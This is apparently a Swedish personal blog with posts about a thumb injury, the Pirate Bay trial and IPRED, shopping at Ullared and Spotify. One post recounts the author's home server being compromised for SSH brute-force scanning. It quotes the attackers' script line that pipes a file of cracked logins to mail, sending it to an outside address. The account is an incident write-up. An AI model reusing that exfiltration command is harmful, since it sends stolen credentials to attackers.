En händig man
En händig man jobbar på egen hand, använder sig av händerna och fördelen med motställda tummar. Icke att underskattas är benstommen som ger stadga åt handens alla delar. Allt en händig man tänkas behöva.
”Så bra” tänkte jag och bestämde mig för att med sylvass kniv försöka bända och bryta loss en inre plastkrage på ett dammsugarmunstycke. Det hade fastnat och jag behövde få bort det nu när vi köpt ny dammsugare.
Nackdelen med att jobba på egen hand är att mänskligt kött inte gör så mycket motsånd när ”Timelleffekten” ger mannen övertro på sig själv. Kniven slant och satte kurs mot, just det, min tumme. Och det är här benstommen gör väsentlig skillnad. Hade inte knivspetsen slagit i benet i tummen så hade jag nog tagit ett kliv tillbaka i evolutionen och funnit mig med endast 1 tumme kvar.
Det blev ett rätt ordentligt jack på ca 1 cm längd och ungefär lika djupt. Bara att bita ihop och hälsa handens femte ärr välkommet!
Rättshaveri
Ta några öl, sätt dig i bilen, kör ihjäl ett barn som kommer ivägen, och du får 6 månader villkorligt för vållande. Bygg ett verktyg som kringgår lata bolags uråldriga affärsmodeller och bli dömd som ekonomisk brottsling, då kan vi börja snacka straffskala. Det är alldeles för smärtsamt uppenbart vad som anses viktigt här i världen.
Nu var det väl knappast någon som egentligen trodde att de skulle frias. Vi vågade oss till att hoppas, men inte längre. Likaså var det ingen som kunde drömma att de skulle få nåt annat än böter och skadestånd. Hur i hela fridens namn kan medhjälp på denna nivå ge fängelse?!
Grattis Sverige. Vi har nu ett helt raserat rättsystem. Den berlinmur på internet som regeringen lade första stenen till genom IPRED har redan grundmurats. Snart kommer ACTA som ännu några stenar. Dessutom är Sverige ett av de länder som kritiserar tillägget till ACTA som säger att en person som begår upphovsrättsintrång inte ska kunna stängas av från internet utan rättslig prövning.
God natt…
Ullared
Så var det dags för Ullared igen. Och med det menar jag såklart Gekås och de andra affärerna som ligger där. Rätt bra ställe att åka till för att handla upp på kläder och annat, till ett bra pris.
För att vara oss så kom vi iväg ovanligt tidigt. I vanliga fall kommer vi inte ur huset innan 12 om det ska hittas på nåt. Måste ha nåt med våra två bromsklossar att göra, men vad vet jag. Den här dagen kom vi iaf iväg till strax efter 7(!), och no bhövdes det eftersom det är en bra bit att åka. Frukosten skippade vi och gjorde varsin välling åt barnen bara. Frukost till oss själva köpte vi en bit på vägen istället.
Som tur var så hade vi en fulltankad bil, så vi slapp stanna i Jönköping, utan kunde bara blåsa på neråt. Klockan var väl ca 10 när vi kom fram. Det var rätt bra med bilar på parkeringen men vi såg inga bussar så vi var hoppfulla för att det skulle gå att röra sig inne i butiken, vilket visade sig vara sant när vi väl kom in på gekås. Dock fyllde det på rätt snabbt bakom oss och efter bara 30 min där inne var det rätt trångt. Men alla gjorde sitt för att det skulle gå att komma fram, vilket uppskattas av alla.
Nina snappade åt sig lite hushållsprodukter innan vi gick vidare mot herravdelningen. Där hittade vi lite saker åt mig. Till slut blev det 3 par jeans, en långärmad tröja, en fin skjorta och en ny sommarjacka. Jackan är nog det jag är mest nöjd med. En stilig sak som passar min smak (och även min frus) väldigt bra.
På damavdelningen kunde vi konstatera att det var ganska urplockat bland storlekarna. Jag tog barnen via leksakerna en sväng innan jag gick tillbaka för att gå igenom det Nina plockat ut. I min smak var det väl lite blandat vad hon hade hittat, men där spelade de saknande storlekarna till min fördel. Det jag tyckte var finast var också det som fanns i hennes storlek, och det jag inte gillade lika mycket satt inte heller så bra. I mitt tycke så var det här bästa ullaredsrundan för henne!
Vi gick via inredningsavdelningen med, för att kolla ut saker till vårt nya hem. Det blev inte så mycket, men vi får väl åka tillbaka senare. Vi fick med oss en gardinstång och lite gardiner iaf. Sen bestämde vi oss för att vår dammsugare var kass så vi gick ner och tittade på elektronikavdelningen. Vår nuvarande är en värdelös påslös historia. Dock är det väl inte påslösheten som är det värdelösa utan att man valt ett billigt märke. Påslösheten är jag rätt nöjd med så den här gången fick det bli en samsung och efter lite testande verkar den väldigt mycket bättre.
Ja, det var väl allt tror jag. Och barna var jätteduktiga hela vägen så därför fick de varsina leksaker. Linnea fick två minifigurer (snövit med 7 dvärgar och Ariels lillasyster), barbieklänningar och Askungens prins. Oliver fick en gruvmaskinsleksaksmojäng med stenbumlingar och två gubbar. Japp, sexistiskt så det förslår, men de leker lika mycket med varandras saker som sina egna.
På det hela taget en trevlig utflykt med bra fynd.
Dagen D
Så var den här. 2009 års upplaga av första april kom av sig en hel del och fick en bitterhet i smaken pga IPRED. Vissa kallar den det första steget mot verklighetens 1984, själv väljer jag att kalla det för första stenen till regeringens egen berlinmur på internet.
Jag tror inte alla i Sverige riktigt förstått innebörden av lagen ännu. I praktiken sätts rättssystemet ur spel och makten att döma läggs ut hos en privat aktör med vinstintresse. Du är skyldig till motsatsen bevisad, om du ens vågar ta ärendet till domstol dvs.
Istället för att följa exempel som Spotify, och erbjuda hållbara lagliga alternativ, så vill de bestraffa bort ett beteende som bara följer samma utveckling som resten av internet; Det är tillgängligheten som spelar någon roll, inte ägandet.
Hur många skulle använda Wikipedia om man fick betala för det?
Hur många skulle regga sig på facebook om de tog betalt?
Nej, det är inte gratis som är ledordet, snarare tillgänglighet och enkelhet. Det är precis så resten av internet fungerar.
The Pirate Bay – Vecka 1
Så var första veckans förhandlingar i rättegången mot grundarna till TPB till ända. Här följer nu ett försök att sammanställa vad som tagits upp.
Åklagarsidan försöker med utdrag av mailkorrespondens och whois-records bevisa hur killarna tjänat pengar på sin verksamhet, samt att det ska ha förekommit bildande av bolag för att ta hand om allt detta. De bolag som faktiskt kan verifieras existera visar sig dock inte ha med TPBs verksamhet att göra. Deras inblandning är snarare endast för att registrera alla domäner som är inblandade.
Det lustigaste med den ekonomiska biten är att åklagare Håkan Roswall inte för sitt liv kan förstå att någon kan utföra ett jobb gratis, där enda betalningen är i form av det ideologiska eller tekniska intresse som jobbet kan mätta. Klar kulturkrock när en förespråkare för opensourcevärlden försöker förklara vad som verkligen betyder något här i världen.
Inte heller kan de lämna spåret med att det skulle ha bildats en massa bolag kring denna tjänst dör huvudsyftet skulle vara att stjäla filmer och musik och dessutom tjäna pengar på det. Och för att bevisa att TPB har ett egetintresse i att göra upphovsrättsskyddat material tillgängligt så försöker de snärja killarna i att de skulle ha uppmanat sina användare att ladda ner illegala kopior. Något som inte heller lyckas så bra. Gottfrid och Fredrik uppger att deras enda intresse i TPB är den tekniska biten. Även Peter Sunde säger att upphovsrättsskyddat material inte intresserar honom, då han hellre konsumerar sådant som är opensource.
Två gånger hittills har åklagarsidan överrumplat rätten med material som inte fanns med i försundersökningen, och sedan bett de åtalade ta ställning till dem. Den andra gången gick tingsrätten till enskild överläggning där det kom fram till att hädanefter måste allt material finns tillgängligt innan förhöret inleds. Att det är så det går till i Sverige kan omöjligen ha undgått åklagarsidan, utan det kan närmast liknas vid ett försök att lägga material till bevisföringen som slipper genomgå prövning för om de är äkta.
Åklagare Monique Wadsted, som företräder de sk Hollywoodbolagen, har enligt mig inte lyckats tillföra något vettigt över huvud taget. Men det absoluta bottenmärket kom inte förrän sista dagen då hon förhörde Carl Lundström. Carl är grundare till RixTelecom vars enda inblandning i TPB är att hans bolag har hostat servrarna som TPB körs ifrån.
Men varför vill du, en 48-årig affärsman, beblanda dig med olaglig verksamhet?
Detta säger Wadsted varpå försvaret svarar att frågan är ovidkommande så det sjunger om det. Det har tydligen undgått Åklagare Wadsted HELT att det är just detta som hela rättegången går ut på. Det enda jag kan tänka mig är att hon går på linjen ”Om man säger något tillräckligt många gånger så blir det sant”. I mina ögon har hon förlorat all respekt genom att ta till såna här metoder.
På det hela taget blev det rätt så underhållande till slut. Jag ser fram emot fortsatta förhandlingar på måndag!
Hemmaserver crackad
Den 4 februari fick jag ett samtal från min ISP som säger att några av deras användare rapporterat intrångsförsök från mitt IP. ”Jaha”, tänkte jag, ”några lusers som köpt Symantec Watch guard Pro Deluxe Intrusion detector Jada Jada Jada, som paranoit klagar på att nån förutom de själva gör något på nätet”. Min ISP sa att jag just nu hade 1400(!) ssh-sessioner aktiva.
Det lät ju onekligen alarmerande, så jag loggade in och tittade. Mycket riktigt så kördes en hel hög med processer under namnen ”atack” och ”ssh-scan”. Jag bad min ISP om ursäkt och lovade att genast ta itu med problemet.
Innan jag slog ihjäl alla processer letade jag reda på ett processnummer och gick till denna process egna proc-katalog. Där ligger en länk, cwd, som pekar på den katalog där binären startats ifrån. Alla script och program verkade ligga i ”/var/tmp/. ” <punkt><mellanslag><mellanslag>. När jag gick in i den hittade jag diverse godsaker:
- En massa binärer för att scanna IPnummer och utföra en brute force-attack på dem.
- Configfiler för vilka nät som skulle avsökas.
- Dictionarylistor med namn för olika länder, mestadels namn och lösen likadana.
- Dictionarylistor för root och möjliga lösen för denna.
- Loggfiler över scannade IPn och vilket användarnamn och lösen som fungerat på dem.
Det stod tidigt klart att de som tagit sig in inte brytt sig ett dug om att dölja att de varit här. De kom in via ett opriviligerat konto och verkar inte haft något större intresse av att sopa igen spåen efter sig.
Jag kunde se att första intrånget skedde 1 februari och har kommit från två olika IP-adresser i Rumänien. De har i princip bara laddat upp sina script, loggat in och startat igång allt.
När jag letat igenom alla script lite mer grundligt hittade jag ett bashscript, ”TASE” som verkade vara mer centralt för samlandet av IP och lösenord. Det var detta script som startade alla binärer och samlade outputen i olika loggfiler. Det som var mest intressant var sista raden i detta script:
cat vuln.txt | mail -s "L-amPrins" Crazygod05@yahoo.com
Vad denna rad gör är alltså att skriva ut innehållet i en viss fil (i detta fall den färdiga loggen med IP, användarman och lösenord som verifierats) och sedan maila detta med subject ”L-amPrins” till Crazygod05@yahoo.com. Denna mailbox tillhör alltså de som vill samla på sig datorer de sedan kan använda för spam, ddos osv. De var åtminstone smarta nog att regga en anonym webmail för ändamålet. Googlar man på ”L-amPrins” så får man många träffar, så det är en rätt vanligt förekommande scriptsamling.
Det som gjorde att de kunde ta sig in var mitt eget fel. En blunder jag gjort när jag lade till en ny användare. Det var lätt fixat och inga övriga skador har åsamkats av intrånget.
Spotify your music
Jag har nu haft mitt gratiskonto i Spotify i snart två veckor. Hittills störs jag inte nämnvärt av reklamen och jag tycker det är ett fullständigt lysande koncept. Ett lagligt alternativ till att tanka hem musiken via thepiratebay.org eller andra trackers och kanaler. När kommer samma för filmer kan man undra. Tveklöst är i alla fall att det här är rätt väg att gå.
Så tittar man på nyhetsnotiserna idag, och vad står det där? Jo, de stora musikbolagen vill BEGRÄNSA spotify. De vill plocka bort vissa låtar osv. Här kan man verkligen tala om att skjuta sig själv i foten. Här är det några som kommit på en idé som dessa jättar själva inte kunde, de har fått musikbolagen att göra sina artister tillgängliga via denna portal och faktiskt visat att det går att kombinera modern teknik med musikvärldens törst efter obegränsade intäkter. Och så är man på väg att sabba det?
Ärligt talat förlorade jag respekten för dessa skivbolag för länge sedan. Den grav de började gräva åt sig själva när de började jaga privatpersoner via direktiv som ger de större befogenhet än självaste polisen, har de nu satt ena foten i genom att ge sig på det enda lagliga alternativ som faktiskt kan konkurrera med den olagliga nedladdningen.
Jag hoppas att spotify får vara kvar i slutändan, och att vi kan få ett liknande alternativ för filmer, åtminstone de som lämnat bioduken.